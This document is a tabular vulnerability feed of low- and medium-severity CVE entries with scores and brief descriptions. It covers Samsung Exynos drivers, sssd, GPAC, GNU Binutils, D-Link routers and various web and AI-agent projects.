CVE-2026-23790	New	4.2	MEDI		0.001		An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. A double-free vulnerability in the Samsung Exynos DPU driver (due to improper pointer management during DMA buffer reallocation) leads to kernel memory corruption and a potential use-after-free.
CVE-2026-23791	New	4.2	MEDI		0.001		An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. An out-of-bounds write vulnerability in the Exynos DPU driver (due to missing input length validation in color mode LUT parsing) leads to kernel memory corruption and potential privilege escalation.
CVE-2026-33957	New	4.2	MEDI		0.001		An issue was discovered in CustOS Driver in Samsung Mobile Processor Exynos 1580. Requesting oversized shared memory from the custos_iwc device enables out-of-bounds read and write, potentially leading to memory corruption or information leakage.
CVE-2026-82783	New	4.1	MEDI		0.001		Plaintext storage of a password issue exists in CONPROSYS nano Series . If this vulnerability is exploited, an attacker with physical access to the product may obtain credentials.
CVE-2026-23792	New	4.0	MEDI		0.001		An issue was discovered in NR RRC in Samsung Mobile Processor and Modem Exynos 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, W1000, Modem 5300, Modem 5400, and Modem 5410. Incorrect handling of unauthenticated downlink RRC Setup messages can cause the baseband to crash.
CVE-2026-90463	New	4.0	MEDI		0.001		A flaw was found in the sssd NSS responder. This input validation vulnerability allows a local attacker, by sending specially crafted service lookup requests to the NSS responder's UNIX socket, to cause an out-of-bounds read. This out-of-bounds read may lead to a denial of service (DoS) by crashing the NSS responder process. While unprivileged local clients can typically rea...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90994	New	4.0	MEDI		0.001		A flaw was found in sssd, specifically within the PAM (Pluggable Authentication Modules) responder's protocol v1 parser, pam_parse_in_data(). A local client with access to the PAM responder's UNIX socket can exploit this by negotiating protocol v1 and sending an empty or truncated PAM request body. This can trigger an out-of-bounds read, potentially causing the PAM responder...
CVE-2026-90996	New	4.0	MEDI		0.001		A flaw was found in sssd. A local unprivileged user could send a specially crafted request with a zero-length body to the Network Security Services (NSS) responder. This could lead to a denial-of-service condition, causing the NSS responder to become unstable or terminate. This vulnerability affects the availability of the system responder.
CVE-2025-26790	New	3.7	LOW		0.003		Withsecure Atlant with Capricorn engine before 2025-01-20_02 allows a Remote Denial of Service via an out-of-bounds memory read during processing of a document file by the antivirus engine.
CVE-2026-25832	New	3.7	LOW		0.002		In Mbed TLS 3.6.x before 3.6.7 and 4.1.x before 4.1.2, the TLS 1.3 client accepts HelloRetryRequest selecting an unadvertised group.
CVE-2026-54541	New	3.7	LOW		0.003		Nimiq is a Rust implementation of the Nimiq Proof-of-Stake protocol based on the Albatross consensus algorithm. Prior to 1.6.0, a malicious state-sync peer can crash a syncing node by sending a crafted TrieChunk proof containing two TrieProofNode values with identical keys. TrieProof::verify calls TrieProofNode::child_index in primitives/src/trie/trie_proof_node.rs, where is...
CVE-2026-54542	New	3.7	LOW		0.003		Nimiq is a Rust implementation of the Nimiq Proof-of-Stake protocol based on the Albatross consensus algorithm. Prior to 1.6.0, a malicious state-sync peer can crash a syncing node by sending a crafted TrieChunk whose proof contains a TrieNodeChild suffix that is individually valid but exceeds the 63-byte KeyNibbles backing array when combined with the parent key. KeyNibbles...
CVE-2026-55866	New	3.7	LOW		0.002		SpiceDB is an open source database system for creating and managing security-critical application permissions. From 1.34.0 until 1.54.0, SpiceDB can return PERMISSIONSHIP_HAS_PERMISSION instead of PERMISSIONSHIP_CONDITIONAL_PERMISSION or PERMISSIONSHIP_NO_PERMISSION because checkRequestToKey() and checkRequestToKeyWithCanonical() in internal/dispatch/keys/computed.go omit Ch...
CVE-2023-24035	New	3.5	LOW		0.008		An issue was discovered in Nagios XI before 5.9.3. The is_insecure_login_authenticated function uses a insecure timing comparison that leads to an attacker being able to bruteforce the admin password, by measuring timing differences in the comparison.
CVE-2026-23793	New	3.5	LOW		0.002		An issue was discovered in Samsung Mobile Processor Exynos 1330, 1380, 1480, and 2400. An out-of-bounds memory access vulnerability in the camera GDC driver may lead to kernel memory corruption under certain conditions.
CVE-2026-33970	New	3.5	LOW		0.002		An issue was discovered in NR RRC and L2 in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 1680, W920, W930, W1000, and Modem 5410. In the 5G baseband, a NULL Pointer Dereference occurs when processing a malformed RRC Reconfiguration message.
CVE-2023-32778	New	3.3	LOW		0.002		An issue was discovered in ILIAS 6.23, 7 before 7.22, and 8.1. An attacker can execute arbitrary code via ZIP upload.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-19086	New	3.3	LOW		0.001		IBM i 7.6, 7.5, 7.4, and 7.3 could allow a denial of service as a result of a buffer overflow in a PASE process. An authenticated attacker could leverage this to terminate their own process.
CVE-2026-46696	New	3.3	LOW		0.002	composer:october/system	October System provides the system module for October Content Management System. Versions prior to 3.7.17 and 4.2.21 have a vulnerability in the Twig sandbox security policy that allowed a chained bypass when `cms.safe_mode` is enabled. The Laravel session store was exposed to Twig with unrestricted method access, and raw SQL methods reachable through Eloquent's `__call` for...
CVE-2026-49400	New	3.3	LOW		0.002	composer:october/system	October System provides the system module for October Content Management System. Prior to versions 3.7.17 and 4.2.21, the backend `SessionMaker` trait stored widget session state as `base64(serialize(...))` and consumed it with `unserialize()` without an `allowed_classes` restriction. Any code path that could write to a `widget.*` session key with attacker-controlled bytes c...
CVE-2026-57583	New	3.3	LOW		0.001		OpenZeppelin Contracts Wizard is a web application to interactively build a contract out of components from OpenZeppelin Contracts. Prior to @openzeppelin/wizard 0.10.11, @openzeppelin/wizard-cairo 3.0.1, @openzeppelin/wizard-stellar 0.6.2, and @openzeppelin/wizard-stylus 0.3.1, the setInfo code path prints info.securityContact and info.license verbatim into single-line comm...
CVE-2026-90811	New	3.3	LOW		0.001		A weakness has been identified in cosmicstack-labs mercury-agent up to 1.2.0. This affects the function PermissionManager.checkShellCommand of the file mercury-agent/src/capabilities/permissions.ts of the component Shell Permission Manifest. Executing a manipulation can lead to information disclosure. The attack is restricted to local execution. The exploit has been made ava...
CVE-2023-24034	New	3.1	LOW		0.004		An issue was discovered in twilio_ajax_handler.php in Nagios XI before 5.9.3. An attacker can force a user to visit a malicious site by using a open redirect vulnerability.
CVE-2023-37252	New	3.1	LOW		0.002		An issue was discovered in the CheckUser extension for MediaWiki through 1.39.3. Special:CheckUserLog shows usernames that have been hidden.
CVE-2023-37253	New	3.1	LOW		0.002		An issue was discovered in the ProofreadPage extension for MediaWiki through 1.39.3. It leaks information about a suppressed user via the API and config variables.
CVE-2026-16190	New	3.1	LOW		0.002		IBM WebSphere Application Server 9.0, and 8.5 is affected by an authorization bypass vulnerability.
CVE-2023-24283	New	2.9	LOW		0.001		Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow which allows attackers to cause a Denial of Service (DoS) via a crafted save file.
CVE-2023-24284	New	2.9	LOW		0.001		Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow via the is_markable() function.
CVE-2023-24285	New	2.9	LOW		0.001		Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow which is triggered when an unusually long move is executed.
CVE-2023-24286	New	2.9	LOW		0.001		Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow via the game description parameter.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2023-24287	New	2.9	LOW		0.001		Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow via the "M" command.
CVE-2023-24288	New	2.9	LOW		0.001		An issue in Portable Puzzle Collection before 20230116.5782e29 allows attackers to cause a Denial of Service (DoS) via creating an excessive amount of save states.
CVE-2023-24291	New	2.9	LOW		0.001		Portable Puzzle Collection before 20230116.5782e29 was discovered to contain a buffer overflow via the record length parameter.
CVE-2026-38924	New	2.9	LOW		0.001		In Oraios AI Serena before 1.0.0, the listen address of the MCP server in HTTP mode is 0.0.0.0. NOTE: the Supplier observed that 0.0.0.0 was a "potential security hazard" but the Serena documentation, at the time of the issue report proposing 127.0.0.1 instead of 0.0.0.0, recommended "use a sandboxed environment for running Serena."
CVE-2026-90623	New	2.9	LOW		0.003		A weakness has been identified in andreashappe cochise up to 0.4.1. Affected is the function asyncssh.connect of the file src/cochise/ssh_connection.py of the component SSH Host Key Handler. Executing a manipulation can lead to improper certificate validation. The attack may be launched remotely. The attack requires a high level of complexity. The exploitability is told to b...
CVE-2023-37366	New	2.8	LOW		0.001		An issue was discovered in Samsung Exynos Mobile Processor, Automotive Processor, and Modem Exynos 9810, Exynos 9610, Exynos 9820, Exynos 980, Exynos 850, Exynos 1080, Exynos 2100, Exynos 2200, Exynos 1280, Exynos 1380, Exynos 1330, Exynos 9110, Exynos W920, Exynos Modem 5123, Exynos Modem 5300, an Exynos Auto T5123. In the Shannon SM Task, improper handling of a loop with a...
CVE-2026-23786	New	2.8	LOW		0.001		An issue was discovered in DPU in Samsung Mobile Processor Exynos 1280, 2200, 1380, 1480, 2400, 1580, 2500, 1680, and 2600. A TOCTOU race condition in the Exynos DRM HDR Driver leads to a heap overflow, causing a kernel crash.
CVE-2026-33956	New	2.8	LOW		0.001		An issue was discovered in camera in Samsung Mobile Processor Exynos 1330, 1380, 1480, 2400, 1580, and 2500. Sending a malformed message to the test_msg sysfs entry causes an out-of-bounds write, leading to denial of service.
CVE-2026-33960	New	2.8	LOW		0.001		An issue was discovered in Samsung Mobile Processor and Wearable Processor Exynos 1330, 1380, 1480, 1580, 1680, W920, W930, and W1000. . A malformed ioctl command to the Wi-Fi interface device can lead to improper buffer size allocation, resulting in an out-of-bounds write and causing a denial of service (DoS).
CVE-2026-33962	New	2.8	LOW		0.001		An issue was discovered in Wi-Fi in Samsung Mobile Processor Exynos 850, 1280, 1330, 1380, 1480, 2400, W920, and W930. A malformed Netlink command can trigger an out-of-bounds read, potentially leading to information leakage.
CVE-2026-33966	New	2.8	LOW		0.001		An issue was discovered in camera in Samsung Mobile Processor Exynos 1330, 1380, 1480, 2400, 1580, 2500, 2600, and 1680. An information Leak occurs in the camera driver due to Insertion of Sensitive Information Into Debugging Code.
CVE-2026-33967	New	2.8	LOW		0.001		An issue was discovered in camera in Samsung Mobile Processor Exynos 1330, 1380, 1480, 2400, 1580, 2500, 2600, and 1680. In the camera driver, an out-of-bounds array access vulnerability in the error-handling path leads to memory corruption.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-33968	New	2.8	LOW		0.001		An issue was discovered in camera in Samsung Mobile Processor Exynos 1330, 1380, 1480, 2400, 1580, 2500, 2600, and 1680. In the camera driver, a Time-of-Check Time-of-Use (TOCTOU) race condition leads to out-of-bounds access.
CVE-2023-22631	New	2.7	LOW		0.002		PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the HTTP XML/REST Sensor.
CVE-2023-22632	New	2.7	LOW		0.002		PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the FTP Server Count Sensor.
CVE-2026-44162	New	2.7	LOW		0.004		fluent-plugin-s3 is an Amazon S3 input and output plugin for Fluentd. From 0.7.0 to 1.8.4, the in_s3 input plugin reads the entire decompressed payload of gzip, lzma2, and lzop objects into memory without enforcing a decompression_size_limit. An attacker with permission to upload objects to the monitored S3 bucket can provide a highly compressed object that expands excessive...
CVE-2025-64031	New	2.5	LOW		0.001		libarchive 3.8.x before 3.8.2 has a strcpy heap-based buffer overflow in the gzip writer via the original-filename field to archive_compressor_gzip_open in archive_write_add_filter_gzip.c, aka GHSA-92wx-p669-8gr9. This relates to bsdtar. Exploitation envisions a marginally plausible scenario in which original-filename is obtained from an untrusted party. (original-filename i...
CVE-2026-82019	New	2.3	LOW		0.002		TripleLift's ad rendering script (video-bundle.js) contains a DOM-based cross-site scripting vulnerability that allows unauthenticated attackers to execute arbitrary JavaScript in a publisher's domain by sending crafted postMessage payloads without origin validation. Attackers can cause a victim to visit an attacker-controlled page that sends malicious postMessage events to ...
CVE-2026-75943	New	2.1	LOW		0.001		A brief (milliseconds to seconds) traffic leak may occur when an authenticated supplicant is removed, either via the clear dot1x host all CLI command or due to a supplicant timeout. During this window, the supplicant's traffic may pass without ACL enforcement.
CVE-2026-75945	New	2.1	LOW		0.001		A race condition may cause a supplicant to remain in an authorized state after a clear dot1x host all command is issued.
CVE-2026-77191	New	2.1	LOW		0.001		An authenticated supplicant on an adjacent network may bypass intended network authorization policy and send unrestricted traffic during a brief window (milliseconds to seconds) between the completion of the authentication phase and the full enforcement of its assigned ACL.
CVE-2026-90615	New	2.1	LOW		0.003		A security vulnerability has been detected in SourceCodester Class and Exam Timetabling System 1.0. This affects an unknown part of the file /subject1.php. Such manipulation of the argument subject leads to cross site scripting. The attack can be executed remotely. The exploit has been disclosed publicly and may be used.
CVE-2026-90621	New	2.1	LOW		0.011		A vulnerability was identified in ipa-lab HackingBuddyGPT up to 0.5.0. This affects the function ssh_run_command of the file src/hackingBuddyGPT/extensions/ssh_run_command.py. Such manipulation leads to os command injection. The attack can be launched remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90687	New	2.1	LOW		0.003		A vulnerability was determined in GPAC up to f1219cde. This vulnerability affects the function gf_node_changed_internal of the file scenegraph/base_scenegraph.c of the component MP4Box. This manipulation causes use after free. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version abi-16.23 is able to...
CVE-2026-90697	New	2.1	LOW		0.002		A vulnerability was identified in SourceCodester Inventory Management System 1.0. This affects an unknown part of the file invoice.php. The manipulation of the argument ID leads to authorization bypass. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.
CVE-2026-90700	New	2.1	LOW		0.002		A security vulnerability has been detected in itsourcecode Sales and Inventory System 1.0. Impacted is an unknown function of the file /pages/pro_edit1.php. Such manipulation of the argument procode leads to sql injection. The attack can be launched remotely. The exploit has been disclosed publicly and may be used.
CVE-2026-90712	New	2.1	LOW		0.003		A vulnerability was identified in Gitlawb openclaude up to 0.30.0. Impacted is the function waitForCallback of the file src/services/api/xaiOAuthCallback.ts of the component xai OAuth Callback Handler. The manipulation of the argument Error leads to denial of service. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The proj...
CVE-2026-90714	New	2.1	LOW		0.003		A weakness has been identified in marcobambini Gravity up to 0.9.7. The impacted element is an unknown function of the file src/utlis/gravity_json.c of the component JSON parser. This manipulation causes memory corruption. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0...
CVE-2026-90791	New	2.1	LOW		0.003		A vulnerability was detected in GPAC up to f1219cde. This vulnerability affects the function gf_node_unregister of the file scenegraph/base_scenegraph.c of the component MP4Box. The manipulation results in use after free. The attack can be executed remotely. The exploit is now public and may be used. Upgrading to version abi-16.23 is able to resolve this issue. The patch is ...
CVE-2026-90792	New	2.1	LOW		0.004		A flaw has been found in GPAC up to f1219cde. This issue affects the function gf_node_list_get_child of the file scenegraph/base_scenegraph.c of the component MP4Box. This manipulation of the argument Target causes null pointer dereference. The attack is possible to be carried out remotely. The exploit has been published and may be used. Upgrading to version abi-16.23 is cap...
CVE-2026-90793	New	2.1	LOW		0.003		A vulnerability has been found in GPAC up to f1219cde. Impacted is the function gf_node_get_name of the file scenegraph/base_scenegraph.c of the component MP4Box. Such manipulation leads to use after free. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. Upgrading to version abi-16.23 is recommended to address this issue....
CVE-2026-90794	New	2.1	LOW		0.003		A vulnerability was found in GPAC up to f1219cde. The affected element is the function gf_sg_script_load of the file scenegraph/vrml_tools.c of the component MP4Box. Performing a manipulation results in use after free. It is possible to initiate the attack remotely. The exploit has been made public and could be used. Upgrading to version abi-16.23 is sufficient to fix this i...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90795	New	2.1	LOW		0.004		A vulnerability was determined in itsourcecode Loan Management System 1.0. The impacted element is an unknown function of the file navbar.php. Executing a manipulation of the argument page can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized.
CVE-2026-90796	New	2.1	LOW		0.003		A vulnerability was identified in itsourcecode Leave Management System 1.0. This affects an unknown function of the file /module/company/index.php. The manipulation of the argument ID leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used.
CVE-2026-90807	New	2.1	LOW		0.003		A vulnerability was found in nanocoai NanoClaw up to 2.1.17. This issue affects the function forwardAttachedFiles of the file src/modules/agent-to-agent/agent-route.ts of the component Attachment Handler. The manipulation results in link following. The attack may be performed from remote. The exploit has been made public and could be used. The patch is identified as 3f9ed607...
CVE-2026-90810	New	2.1	LOW		0.002		A security flaw has been discovered in cosmicstack-labs mercury-agent up to 1.1.13. The impacted element is the function PermissionManager.checkShellCommand of the file mercury-agent/src/capabilities/permissions.ts of the component Shell Command Permission Check. Performing a manipulation results in improper authorization. The attack can be initiated remotely. The exploit ha...
CVE-2026-90812	New	2.1	LOW		0.002		A security vulnerability has been detected in cosmicstack-labs mercury-agent up to 1.2.0. This impacts the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Permission. The manipulation leads to incorrect privilege assignment. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The...
CVE-2026-90814	New	2.1	LOW		0.002		A flaw has been found in cosmicstack-labs mercury-agent up to 1.1.13. Affected by this vulnerability is the function githubRequest of the file src/utlis/github.ts of the component GitHub API Handler. This manipulation of the argument path causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been published and may be used. The pro...
CVE-2026-90815	New	2.1	LOW		0.002		A vulnerability has been found in FFmpeg up to 4.4.6/5.1.8/6.1.4/7.1.3/8.0.1. Affected by this issue is the function setup_3x3 of the file libavfilter/vf_convolution.c of the component Convolution Filter. Such manipulation leads to out-of-bounds read. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.4.7...
CVE-2026-90818	New	2.1	LOW		0.005		A security flaw has been discovered in netease-youdao LobsterAI 2026.6.15/2026.8.28/2026.9.3/2026.9.4. Impacted is the function OpenClawConfigSync.buildBrowserConfig of the file src/main/libs/openclawConfigSync.ts of the component Browser Network Configuration. The manipulation results in server-side request forgery. It is possible to launch the attack remotely. The exploit ...
CVE-2026-90604	New	2.0	LOW		0.002		A security flaw has been discovered in Totolink A3002MU Hh-B20211125.1046. This affects an unknown part of the component Anchor Tag Handler. Performing a manipulation results in cross site scripting. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90694	New	2.0	LOW		0.002		A vulnerability has been found in SourceCodester Inventory Management System 1.0. Affected is an unknown function of the file /api/customers_handler.php of the component Customer Management Module. Such manipulation of the argument Customer_Name leads to cross site scripting. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.
CVE-2026-90695	New	2.0	LOW		0.002		A vulnerability was found in SourceCodester Inventory Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /api/vendors_handler.php of the component Vendor Management. Performing a manipulation results in cross site scripting. The attack is possible to be carried out remotely. The exploit has been made public and could be used.
CVE-2026-90696	New	2.0	LOW		0.002		A vulnerability was determined in SourceCodester Inventory Management System 1.0. Affected by this issue is some unknown functionality of the file /api/products_handler.php of the component Product Management Module. Executing a manipulation of the argument Product_Name can lead to cross site scripting. The attack may be performed from remote. The exploit has been publicly d...
CVE-2026-90704	New	2.0	LOW		0.015		A vulnerability was found in D-Link DWR-M921 1.1.52. The impacted element is the function system of the file /boafm/formDiskPartition. Performing a manipulation of the argument devicename results in command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used.
CVE-2026-90705	New	2.0	LOW		0.015		A vulnerability was determined in D-Link DWR-M921 1.1.52. This affects the function formsysCmd of the file /boafm/formsysCmd of the component Boa Dispatch Table. Executing a manipulation of the argument sysCmd can lead to os command injection. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized.
CVE-2026-90706	New	2.0	LOW		0.015		A vulnerability was identified in D-Link DWR-M921 1.1.52. This impacts the function formWsc of the file /boafm/formWsc. The manipulation of the argument targetAPSSid leads to os command injection. The attack is possible to be carried out remotely. The exploit is publicly available and might be used.
CVE-2026-90716	New	2.0	LOW		0.003		A vulnerability was detected in marcobambini Gravity up to 0.9.7. This impacts the function parse_number_expression of the file src/compiler/gravity_parser.c of the component Number Parser. Performing a manipulation results in out-of-bounds read. It is possible to initiate the attack remotely. The exploit is now public and may be used. Upgrading to version 0.9.8 will fix thi...
CVE-2026-90788	New	2.0	LOW		0.016		A security flaw has been discovered in magicblack MacCMS10 2026.1000.4055. Affected by this vulnerability is an unknown functionality of the file /admin1.php/admin/template/index/path/.%40template%40default%40html%40label.html of the component Template Handler. Performing a manipulation results in os command injection. The attack may be initiated remotely. The exploit has be...
CVE-2026-90835	New	2.0	LOW		0.002		A flaw has been found in michaeliao itranswarp up to 2.19. The impacted element is the function Markdown.toHtml of the file Markdown.java of the component Page Content Rendering. This manipulation causes cross site scripting. The attack may be initiated remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue r...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90609	New	1.9	LOW		0.001		A vulnerability has been found in GPAC up to f1219cde. The impacted element is an unknown function of the file scenegraph/vrml_tools.c of the component MP4Box. Such manipulation leads to null pointer dereference. The attack can only be performed from a local environment. The exploit has been disclosed to the public and may be used. Upgrading to version abi-16.23 is sufficien...
CVE-2026-90610	New	1.9	LOW		0.001		A vulnerability was found in GPAC up to f1219cde. This affects the function gf_svg_attributes_copy of the file scenegraph/svg_attributes.c of the component MP4Box. Performing a manipulation results in buffer over-read. The attack is only possible with local access. The exploit has been made public and could be used. Upgrading to version abi-16.23 mitigates this issue. The pa...
CVE-2026-90611	New	1.9	LOW		0.001		A vulnerability was determined in GPAC up to f1219cde. This impacts the function xmt_parse_element of the file scene_manager/loader_xmt.c of the component MP4Box. Executing a manipulation can lead to reachable assertion. The attack is restricted to local execution. The exploit has been publicly disclosed and may be utilized. Upgrading to version abi-16.23 will fix this issue...
CVE-2026-90612	New	1.9	LOW		0.001		A vulnerability was identified in GPAC up to f1219cde. Affected is the function gf_sm_dump_command_list of the file scene_manager/scene_dump.c of the component MP4Box. The manipulation leads to reachable assertion. The attack must be carried out locally. The exploit is publicly available and might be used. Upgrading to version abi-16.23 is able to address this issue. The ide...
CVE-2026-90613	New	1.9	LOW		0.001		A security flaw has been discovered in GPAC up to f1219cde. Affected by this vulnerability is the function stbl_GetSampleInfos of the file isomedia/stbl_read.c of the component MP4Box. The manipulation results in reachable assertion. The attack must be initiated from a local position. The exploit has been released to the public and may be used for attacks. Upgrading to versi...
CVE-2026-90622	New	1.9	LOW		0.002		A security flaw has been discovered in GNU libredwg 0.13.4. This impacts the function DWG_TABLE of the file src/dwg.spec of the component Layer Encoding. Performing a manipulation results in null pointer dereference. The attack needs to be approached locally. The exploit has been released to the public and may be used for attacks. Upgrading to version 0.14 will fix this issu...
CVE-2026-90681	New	1.9	LOW		0.001		A weakness has been identified in Matthias-Wandel jhead up to 3.3. This affects the function Get16u of the file exif.c of the component EXIF Parsing. This manipulation causes out-of-bounds read. The attack requires local access. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue repo...
CVE-2026-90682	New	1.9	LOW		0.001		A security vulnerability has been detected in Matthias-Wandel jhead up to 3.3. This impacts the function ProcessGpsInfo of the file gpsinfo.c of the component WebP EXIF Handler. Such manipulation of the argument TAG_GPS_LAT/TAG_GPS_LONG leads to heap-based buffer overflow. An attack has to be approached locally. The exploit has been disclosed publicly and may be used. The pr...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90683	New	1.9	LOW		0.001		A vulnerability was detected in GPAC up to f1219cde. Affected is the function gf_node_unregister of the file scenegraph/base_scenegraph.c of the component MP4Box. Performing a manipulation results in reachable assertion. Attacking locally is a requirement. The exploit is now public and may be used. Upgrading to version abi-16.23 is able to address this issue. The patch is na...
CVE-2026-90713	New	1.9	LOW		0.002		A security flaw has been discovered in vllm-project vLLM up to 0.29.0. The affected element is the function TiktokenTokenizer::new of the file rust/src/text/src/backend/hf/mod.rs of the component tiktoken vocab File Handler. The manipulation results in denial of service. The attack is only possible with local access. The exploit has been released to the public and may be use...
CVE-2026-90802	New	1.9	LOW		0.001		A weakness has been identified in GNU Binutils 2.47. Affected is the function bfd_putl64 of the file bfd/libbfd.c of the component ld. This manipulation causes null pointer dereference. The attack requires local access. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through a bug report but has n...
CVE-2026-90803	New	1.9	LOW		0.001		A security vulnerability has been detected in GNU Binutils 2.47. Affected by this vulnerability is the function elf_x86_64_relocate_section of the file bfd/elf64-x86-64.c of the component ld. Such manipulation of the argument roff leads to buffer overflow. An attack has to be approached locally. The exploit has been disclosed publicly and may be used. Upgrading to version 2....
CVE-2026-90824	New	1.9	LOW		0.002		A vulnerability has been found in GPAC 26.07.0. Affected is the function gf_sg_dom_event_bubble of the file src/scenegraph/dom_events.c of the component MP4Box. The manipulation leads to stack-based buffer overflow. The attack can only be performed from a local environment. The exploit has been disclosed to the public and may be used. Upgrading to version abi-16.23 is able t...
CVE-2026-90825	New	1.9	LOW		0.002		A vulnerability was found in GPAC 26.07.0. Affected by this vulnerability is the function gf_node_unregister of the file scenegraph/base_scenegraph.c of the component MP4Box. The manipulation results in use after free. The attack is only possible with local access. The exploit has been made public and could be used. Upgrading to version abi-16.23 addresses this issue. The pa...
CVE-2026-90827	New	1.9	LOW		0.002		A vulnerability was identified in GPAC 26.07.0. This affects the function gf_node_deactivate_ex of the file scenegraph/base_scenegraph.c of the component MP4Box. Such manipulation leads to use after free. The attack must be carried out locally. The exploit is publicly available and might be used. Upgrading to version abi-16.23 is able to mitigate this issue. The name of the ...
CVE-2026-90828	New	1.9	LOW		0.002		A security flaw has been discovered in GNU Binutils 2.47. This vulnerability affects the function elf_orphan_compatible of the file ld/ldelf.c of the component ELF Orphan Section Handler. Performing a manipulation results in null pointer dereference. The attack must be initiated from a local position. The exploit has been released to the public and may be used for attacks. T...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90829	New	1.9	LOW		0.002	gnu:binutils	A weakness has been identified in GNU Binutils 2.47. This issue affects the function <code>bfd_elf_set_group_contents</code> of the file <code>bfd/elf.c</code> of the component SHT_GROUP Section Handler. Executing a manipulation can lead to null pointer dereference. The attack needs to be launched locally. The exploit has been made available to the public and could be used for attacks. The project wa...
CVE-2026-90830	New	1.9	LOW		0.002	gnu:binutils	A security vulnerability has been detected in GNU Binutils 2.47. Impacted is the function <code>_bfd_write_merged_section</code> of the file <code>bfd/merge.c</code> of the component Section Merge. The manipulation leads to null pointer dereference. The attack needs to be performed locally. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through ...
CVE-2026-90831	New	1.9	LOW		0.002	gnu:binutils	A vulnerability was detected in GNU Binutils 2.47. The affected element is the function <code>_bfd_elf_strtab_delref</code> of the file <code>bfd/elf-strtab.c</code> of the component ELF String Table. The manipulation results in memory corruption. The attack requires a local approach. The exploit is now public and may be used. The project was informed of the problem early through a bug report but has...
CVE-2026-90684	New	0.9	LOW		0.001		A flaw has been found in GPAC up to f1219cde. Affected by this vulnerability is the function <code>gf_node_get_field_count</code> of the file <code>scenegrph/base_scenegrph.c</code> of the component MP4Box. Executing a manipulation can lead to reachable assertion. It is possible to launch the attack on the local host. The exploit has been published and may be used. Upgrading to version abi-16.23 ad...
CVE-2026-90685	New	0.9	LOW		0.001		A vulnerability has been found in GPAC up to f1219cde. Affected by this issue is the function <code>lsr_exec_command_list</code> of the file <code>laser/lsr_dec.c</code> of the component MP4Box. The manipulation leads to reachable assertion. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. Upgrading to version abi-16.23 can resolve this i...
CVE-2026-90804	New	0.9	LOW		0.001		A vulnerability was detected in GNU Binutils 2.47. Affected by this issue is the function <code>_bfd_elf_write_section_eh_frame</code> of the file <code>bfd/elf-eh-frame.c</code> of the component Eh Frame Section Handler. Performing a manipulation of the argument <code>cie_length/fde_length/augmentation_data_size/write_offset</code> results in buffer overflow. Attacking locally is a requirement. The exploit is no...
CVE-2026-90826	New	0.9	LOW		0.002		A vulnerability was determined in GPAC 26.07.0. Affected by this issue is the function <code>gf_node_del</code> of the file <code>scenegrph/base_scenegrph.c</code> of the component MP4Box. This manipulation causes out-of-bounds read. The attack is restricted to local execution. The exploit has been publicly disclosed and may be utilized. Upgrading to version abi-16.23 can resolve this issue. Patch ...
CVE-2013-1446	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority. Was assigned for an old issue in the brlty daemon and never published completely.
CVE-2026-13272	New				0.001		IBM Verify Identity Access is missing origin validation which could allow a remote attacker to perform operations as the victim and potentially launch further attacks against the systems.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-28836	New				0.002		A correctness issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.8.8. An attacker with physical access may be able to silently persist an Apple Account on an erased device.
CVE-2026-28966	New				0.002		An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Processing a maliciously crafted file may lead to unexpected app termination.
